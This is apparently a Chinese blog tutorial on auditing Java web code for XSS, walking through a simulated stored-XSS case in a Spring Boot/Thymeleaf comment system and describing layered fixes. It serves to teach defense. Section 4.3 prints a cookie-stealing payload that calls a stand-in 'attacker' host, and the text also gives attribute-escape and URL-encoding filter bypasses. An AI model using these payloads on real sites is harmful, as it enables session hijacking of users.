1. XSS审计到底在审什么先说个我自己的体会很多人一听到XSS就想到scriptalert(1)/script然后觉得这玩意很简单不就是找个输入点输出点嘛。实际做代码审计的时候完全不是这么回事尤其是Java后端真正难的不是找到那个反射型XSS而是面对一整套请求→处理→渲染链路的时怎么快速判断这里到底能不能被打以及打了之后危害有多大。XSS全称跨站脚本Cross-Site Scripting本质上是攻击者把恶意脚本塞进页面让它在别人的浏览器里执行。Java Web项目里头XSS最常见就三种形态反射型、存储型、DOM型。但做代码审计的时候我一般不按这个分类去读代码而是按数据入口和数据出口来分——入口就是用户可控的参数、请求头、上传文件、数据库里读出来的历史数据出口就是各种模板渲染、response输出、前端JS拼接、HTML属性拼接。为什么这么分因为你在审计的时候手里拿到的往往是一整套业务代码不是一个小Demo。如果你脑子里只有找request.getParameter然后找out.println这种线性思路很容易被业务逻辑绕晕。反过来从数据流的角度去看先划出所有可能被用户影响的脏数据来源再一路追到输出点这条路就清楚得多。这篇文章我会用一套完整的流程来讲先说我每次拿到一个Java项目会怎么快速摸清XSS攻击面再结合一个典型的审计案例模拟项目X一个带用户评论功能的业务系统把漏洞从入口到出口完整走一遍最后把真实的修复方案和开发规范一起整理出来。不管你是刚开始接触代码审计还是做安全开发想自测这套思路都适用。2. 动手审计前先想清楚三件事2.1 框架决定了你大半的审计路径Java Web项目跟PHP、Python不一样的地方在于它的MVC框架约束力很强。Spring MVC也好Struts2也好请求参数怎么绑定、返回值怎么渲染都有固定的套路。所以我拿到项目的第一步永远是看pom.xml和配置文件搞清楚用的什么框架、什么模板引擎。这里有个很关键的点不同的模板引擎对XSS的防御能力完全不同。JSP JSTL默认不转义${param.name}直接输出到HTML风险极高。用c:out才有转义但很多人图省事不用。Thymeleafth:text默认转义但th:utext是明文输出一不留神就出洞。FreeMarker${}默认不转义需要配?html或自定义指令审计时看到${}就要警惕。Velocity默认也不转义而且Velocity模板里写JS的情况很常见风险更大。我见过不少项目Controller层做了很完整的参数校验结果模板里一个${message}直接原样输出把前面所有防御全部击穿。所以框架选型和模板用法在开始审计之前就要心里有数。2.2 入口和出口一张表看清攻击面我每次审计都会先在纸上或者说在笔记里画一张攻击面清单把可能的入口和出口全部列出来。入口类型典型位置关注理由请求参数request.getParameter、RequestParam、实体绑定最直接的反射型入口路径变量PathVariable、路径参数容易遗漏的反射点请求头User-Agent、Referer、X-Forwarded-For写日志后可能被运维后台读出富文本内容编辑器内容、Markdown内容存储型XSS高发区文件上传文件名、文件内容文件名回显时容易出问题数据库历史数据评论、昵称、个人签名存储型XSS的弹药库出口这块除了常规的HTML输出还要特别注意几类JSONP接口返回、前端模板里的数据注入、window.location或document.write写入点以及各种通过innerHTML渲染的容器。Java后端审计最后往往要结合前端的消费方式来定级这是很多人刚入行时不适应的地方——明明后端代码看着没啥问题怎么还是被打下来了很可能问题就出在前端拿到数据后怎么用。2.3 先定危害再定优先级很多新手看代码看到script就激动看到输出点就报漏洞。但实际审计必须回答一个问题这个漏洞能被利用吗危害有多大XSS的利用场景大概分为几类窃取Cookie、Session实现账号接管。这是最经典的前提是Cookie没设HttpOnly。钓鱼与页面篡改在可信页面上伪造登录框、伪造公告内容。配合CSRF完成敏感操作比如在受害者浏览器里发帖、转账、改密码。键盘记录、剪贴板窃取常见于攻击者劫持了第三方JS之后。内网探测与代理跳板用JavaScript在受害者所在内网里发起请求。优先级上我的习惯是存储型 DOM型 反射型。存储型影响所有访问页面的用户反射型至少还要诱导点击一次所以前者定高危后者看场景定中危或低危。但存储型里也有高低之分——如果输出点在管理后台虽然危害大但需要先打穿后台权限如果输出点在前台公开页面那才是真正的一发入魂。3. 核心思路跟着数据流走永远不要只看一行代码3.1 从入口到出口的完整链路XSS审计的本质就是数据流分析。我给自己定了一个固定套路不管项目大小都按这个链条走找到所有入口点标记用户可控数据。对每个入口点追踪数据经过了哪些处理有没有编码、过滤、校验、存储。找到所有出口点看数据最终以什么形式、在什么位置输出。判断输出位置的上下文是HTML标签内、属性内、Script内、CSS内还是URL内。结合上下文判断过滤是否足够是否存在绕过。最后一步很多人会跳过但这恰恰是决定漏洞真实性的关键。同一个scriptalert(1)/script输出在HTML正文里和一个JS变量值里利用方式完全不同转义要求也完全不同。3.2 上下文不同同一个输出点风险不同举个例子我模拟项目X里头有个搜索页面搜索关键词通过URL参数keyword传入搜索结果页把关键词显示在三个地方页面标题的HTML标签内title${keyword}/title搜索框的value属性内input typetext value${keyword}一个统计信息的JS字符串内var searchWord ${keyword};同样一个开发人员写的代码三个输出点看起来都只是简单输出变量但绕过方式完全不一样。在HTML标签内如果过滤了和基本就堵死了。但在HTML属性内即使过滤了尖括号也可以尝试 onfocusalert(1)这种属性逃逸。而在JS字符串内和\的过滤情况又成了关键。所以我给新人讲的时候常说一句话不要问这里能不能XSS要问这里的上下文是什么什么字符能造成逃逸。3.3 过滤函数不等于安全要看它怎么过滤Java项目里常见的安全措施是写一个XssFilter或者HtmlUtil.clean()对所有入口参数统一过滤。审计这部分的时候我会重点关注三件事第一过滤位置。如果是在Controller层入口统一过滤覆盖面广但容易误伤业务字段也容易因为漏配白名单而影响正常功能。如果是在输出点过滤则要看是不是每个输出点都覆盖到了。第二过滤方式。黑名单过滤script、onerror这些特征字串在实战中绕过方法太多基本等于没过滤。比如script被替换成空就可以用scrscriptiptonerror被替换就用大小写混淆或十六进制编码。白名单方式也就是只允许特定标签和特定属性相对安全但要处理的情况非常多。第三是否有解码顺序问题。有些项目先做URL解码再做过滤有些先过滤再解码顺序反了就会导致过滤器看到的是编码后的数据而实际到达前端的是解码后的危险内容。这种逻辑漏洞在代码审计中很常见也是我最喜欢找的点之一。4. 一个典型XSS审计案例拆解模拟项目X4.1 案例背景与功能描述我拿之前经手过的一个模拟项目X来举例这是个典型的业务系统用户注册登录后可以在文章下方发表评论评论内容会存入数据库展示在所有访问该文章的用户页面上。技术栈是Spring Boot MyBatis Thymeleaf没有引入额外的安全过滤器。这个系统看起来功能极简但正因为它简单反而非常适合用来演示XSS审计的核心思路。如果连这种项目都审不明白面对大规模复杂系统会无从下手。4.2 审计过程实录我拿到项目后先读了Controller层。评论提交的接口是POST /comment/add参数绑定到一个Comment实体上包含articleId、content、userId。关键代码如下已做脱敏和简化PostMapping(/comment/add) public String addComment(Comment comment, HttpSession session) { User user (User) session.getAttribute(user); comment.setUserId(user.getId()); comment.setCreateTime(new Date()); commentService.addComment(comment); return redirect:/article/detail?articleId comment.getArticleId(); }这段代码本身没有做太多处理content字段原样进入Service层再原样insert到数据库。到这里一个存储型XSS的存储环节已经成立——用户输入的多个字符包括尖括号、引号、事件属性全部原样落库。接下来去看查询和展示。文章详情接口从库里把该文章的评论列表查出来放进Model传给Thymeleaf模板ListComment comments commentService.findByArticleId(articleId); model.addAttribute(comments, comments);模板文件里渲染评论的部分div classcomment-item th:eachcomment : ${comments} p classcomment-content th:utext${comment.content}/p /div注意这个th:utext这就是关键的输出点。Thymeleaf的th:text默认转义输出lt;scriptgt;浏览器会把它当作文本显示没有执行风险。但th:utext是unescaped text也就是不转义直接输出。攻击者提交scriptalert(document.cookie)/script后所有访问这篇文章页面的用户都会在浏览器里执行这段脚本。到这里完整的数据流已经闭环入口是评论提交接口存储是数据库出口是文章详情页的评论列表。这是一个标准的存储型XSS且影响所有访问该页面的用户包括管理员。4.3 漏洞定级与影响分析我给这个漏洞定的是高危。理由有三条一是无需任何特殊交互。只要受害者打开文章详情页脚本就执行不像反射型还需要诱导点击。二是攻击者可以拿到所有访问者的Cookie、Session。三是如果管理员在后台也查看这篇文章很多系统后台会展示评论管理员的Session同样可能被带走配合后台功能可以直接改配置、删数据甚至getshell。实际攻击payload我会留一句话实战中不要只用scriptalert(1)/script验证多用img srcx onerrorfetch(//attacker/collect?cdocument.cookie)这类无标签闭合要求的载体因为有些环境会有标签过滤而img的onerror事件触发链路更不易被简单拦截。4.4 为什么说这个漏洞很典型这个案例典型在什么地方呢它没有复杂的绕过技巧没有任何诡异的逻辑缺陷就是一个非常朴素的用户输入原样进库、原样输出。这种漏洞在真实项目里其实大量存在尤其是一些快速迭代的业务系统。很多人觉得代码审计要挖那种层层绕过的洞才有成就感但实际上真正危害大的往往是这种基础问题。反过来讲修复也非常简单但对于开发者来说难的不是改这一行代码而是建立一套所有输出默认转义的肌肉记忆。5. 修复方案从代码到规范四层递进5.1 第一层修正模板输出方式最直接的方法把th:utext改成th:textp classcomment-content th:text${comment.content}/p这一行改动Thymeleaf会自动把特殊字符转义浏览器收到的就是lt;scriptgt;显示效果上是原文但不会执行。这是最基本的修复所有使用Thymeleaf的项目都应该把utext视为危险用法默认一律使用text。我在实际项目里还会顺手做了一个全项目搜索把模板里所有th:utext、v-html如果用了Vue、innerHTML全部列出来逐个确认是否有必要明文输出。凡是用来展示用户内容的全部改转义确需渲染富文本的走白名单过滤方案。5.2 第二层服务端入口统一过滤只改输出点虽然能解决当前问题但项目里输出点太多容易漏。所以更稳的做法是在入口加一层统一过滤用Java的Filter对请求参数做清洗。一个常见的思路是把、、、、这几个关键字符转义。我给出一个参考实现public class XssFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request), response); } }核心在于包装类里重写getParameter、getParameterValues、getHeader等方法对取值结果做统一转义public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } Override public String getParameter(String name) { return clean(super.getParameter(name)); } Override public String[] getParameterValues(String name) { String[] values super.getParameterValues(name); if (values null) { return null; } String[] cleaned new String[values.length]; for (int i 0; i values.length; i) { cleaned[i] clean(values[i]); } return cleaned; } private String clean(String value) { if (value null) { return null; } // 转义关键字符 return value.replace(, amp;) .replace(, lt;) .replace(, gt;) .replace(\, quot;) .replace(, #x27;); } }这个方案有一个明显短板它不分上下文、不分业务对所有参数一刀切。如果项目里确实需要接收富文本内容这种方式会把b、i、a这类合法标签也转义掉导致富文本功能直接废掉。所以统一过滤器主要适用于纯文本类字段富文本字段必须例外处理。5.3 第三层富文本场景的白名单过滤对于评论支持表情、加粗、链接这类富文本需求的场景入口过滤器不能一概而论。业界比较成熟的方案是引入白名单过滤库比如OWASP Java HTML Sanitizer它只允许你明确放行的标签和属性其余全部清除。参考用法PolicyFactory policy new HtmlPolicyBuilder() .allowElements(p, b, i, em, strong, a, img) .allowAttributes(href).onElements(a) .allowAttributes(src).onElements(img) .requireRelNofollowOnLinks() .toPolicy(); String safeHtml policy.sanitize(userInput);白名单方案的思路是安全是默认的允许才是例外。跟黑名单堵住已知危险的思路完全不同白名单天然免疫各种奇奇怪怪的绕过方式——比如javascript:协议、onerror事件、自定义属性等只要不在白名单里一律被丢弃。这里多提一句用了白名单之后入库的数据是清洗后的输出时依然建议保持转义。双重保险总比单层防线可靠因为白名单库本身也可能存在绕过漏洞靠输出端的转义兜底多一道防线。5.4 第四层给关键攻击面加上安全头与HttpOnly除了数据层面的修复还有两个配套措施成本低、效果好建议一起上。第一设置响应头X-XSS-Protection: 1; modeblock。虽然现代浏览器对这个头的支持度在下降但聊胜于无老版本浏览器还是很吃这一套的。第二给Cookie加上HttpOnly属性。这一点太重要了只要Session Cookie设置了HttpOnly即使攻击者的XSS能执行也没法用document.cookie直接偷走Session。注意HttpOnly不能阻止XSS本身但它能显著降低XSS的杀伤力。很多开发者在写登录逻辑的时候不会主动设置这个属性导致XSS的后果被无限放大。在Spring Boot里设置方式很简单Configuration public class CookieConfig { Bean public WebServerFactoryCustomizerTomcatServletWebServerFactory cookieCustomizer() { return factory - factory.addContextCustomizers(context - { // 通过配置SessionCookieConfig设置HttpOnly }); } }更常见的还是在application.yml里配合server.servlet.session.cookie.http-onlytrue来设置。一句话的事儿但效果显著。6. 我踩过的坑审计中的误判与漏判6.1 误判一看到转义就以为安全有一次我审一个项目看到开发在输出之前调了一个escapeHtml()方法当时第一反应是不错这里防了。后来实际测试发现这个方法的实现是public static String escapeHtml(String input) { return input.replace(, lt;); }它只替换了没处理、、、。在HTML标签内可能勉强够用但一旦输出点在属性值或者JS里一个 onmouseoveralert(1)就轻松逃逸了。从那以后我看到任何自定义过滤函数第一件事永远是先读它的实现确认它到底过滤了哪些字符。永远不要因为函数名叫safe()就相信它安全。6.2 误判二忽略了JSON接口里的XSS后端接口如果返回的是JSON数据在给移动端App用的时候往往没什么问题但如果同一个接口也被网页端调用而且前端用innerHTML直接拼HTML那后端根本不需要输出HTML标签只需要返回一个带有img srcx onerror...的字符串字段就足够出事了。这种场景在真实项目里非常常见一套后端多个前端小程序、H5、Web、App都在用。后端审计如果只盯着Thymeleaf/JSP模板就会漏掉这一大片攻击面。我现在审计的时候会对所有返回类型为JSON的接口做一次排查凡是返回数据里有用户可控字符串的都要追一下前端消费方式。6.3 漏判一没追ECS存储和日志文件还有一种容易被漏掉的XSS场景日志文件。很多项目会把用户的User-Agent、Referer、请求参数记到日志里日志系统再配上Web展示页面比如用日志检索平台黑客在UA里写恶意脚本管理员一搜日志就中招。这种情况严格来说不完全算Java代码本身的XSS漏洞但审计报告里我会单独列出来属于间接XSS或者日志注入类问题。修复思路也简单写日志之前统一做转义或者日志展示页面不直接渲染原始内容。6.4 漏判二没考虑编码与解码的时序有一个项目曾经让我折腾了很久。过滤层写在最前面把所有参数里的都转成了lt;当时测试各种常规payload都打不动。后来我偶然发现框架在处理参数的时候先做了一次URL解码也就是说攻击者把payload编码成%3Cscript%3Ealert(1)%3C/script%3E过滤器先看到的是%3Cscript%3E...里面没有自然不触发过滤。等过滤完框架再做URL解码%3C变回完美的绕过。这个问题在各类Java框架中都非常常见因为容器层面的URL解码和业务层过滤器之间的执行顺序往往不受开发者控制。我的经验是在做XSS审计的时候一定用编码过的payload重新测一遍不要只测明文版本。Burp Suite里批量做URL编码的请求测试是每个审计项目必备的动作。7. 常见问题速查表与快速排查清单7.1 高频问题速查问题现象可能原因排查方法评论、留言处可以弹窗输出点未转义如th:utext、${}全局搜索模板中明文输出语法输入框过滤了但还能XSS只过滤了和未处理属性逃逸用 onfocus验证统一Filter防不住URL二次解码绕过编码payload重新测试富文本功能被误伤入口过滤器一刀切转义改为白名单过滤管理后台出现可疑脚本管理员查看恶意评论或日志触发排查后台展示模块的渲染方式Session被偷Cookie未设置HttpOnly检查Cookie配置7.2 四步快速排查法给刚开始做审计的同学一个可以直接抄的排查顺序第一步搜输出。在项目里搜索所有输出用户数据的位置。Java项目重点搜th:utext、${}、out.println、ModelAndView返回的字段、ResponseBody返回的实体字段。第二步搜输入。搜索所有接收外部数据的位置RequestParam、PathVariable、RequestBody、实体绑定、request.getParameter。第三步连链路。把输入和输出对应起来凡是一条链路能从外部数据到页面输出就标注为候选风险点。第四步测上下文。对每个候选点确认输出位置是HTML标签、属性、Script还是JSON然后构造对应的payload验证。这套方法熟练之后一个小型项目半天就能扫完大型项目也能快速圈出重点检测区域。8. 项目落地时的一些经验之谈8.1 代码审计报告怎么写才有效很多安全工程师审计完了报告写得极其技术流堆满payload和调用链结果开发看不懂或者看懂了不重视。我现在的习惯是每一条漏洞至少写四部分漏洞位置、触发流程、危害演示、修复建议。修复建议必须具体到文件和方法给出可复制粘贴的代码片段而不仅仅是一句请做好转义。对于存储型XSS这种高危问题最好再附一个简单的复现步骤用几步写明以什么角色、在什么页面、提交什么数据、看到什么效果。开发按着步骤走一遍20秒就能复现比任何长篇大论都更能推动修复。8.2 开发侧的XSS防御规范代码审计的最终目标不是交一份报告就完事而是推动团队建立稳定的防御能力。我在项目总结里通常会附上几条硬性规范模板引擎输出用户数据一律走转义禁止使用明文输出标签。前端拿到后端数据后默认以textContent方式渲染禁止默认用innerHTML。所有Cookie设置HttpOnly涉及登录态的关键Cookie加Secure。富文本统一走白名单过滤组件不允许手写正则过滤。每次上线前做一次全量接口扫描自动化检测输出点。这些规范看起来都是老生常谈但真正能做到的项目确实不多。安全这件事很多时候不是不懂而是没有形成习惯、没有落到规范里。8.3 后续还能怎么扩展如果这个项目后面做安全能力升级我会建议按这个顺序推进先做自动化黑白盒扫描把已知问题快速收敛再接入IAST类工具在开发自测阶段实时发现漏洞最后沉淀一套安全编码规范在新代码评审环节做卡点。我自己在多个项目的实践下来XSS审计不是一次性的活动而是需要持续运营的过程。旧代码里的洞补完了新代码如果不带安全意识照样会埋雷。这也是为什么我一直强调上下文思维和数据流思维它们比记住几个payload重要得多。最后说个真实感受XSS看起来是所有Web漏洞里最好理解的一个但真正实战过的人知道它反而是最容易因为觉得简单而翻车的类型。一个项目几千个输出点你永远不知道哪一行会漏。每次审计我都不敢拍胸脯说肯定没有XSS了只能说按照当前的数据流分析没有找到可利用的点。保持这种敬畏心才能在这个领域走得远。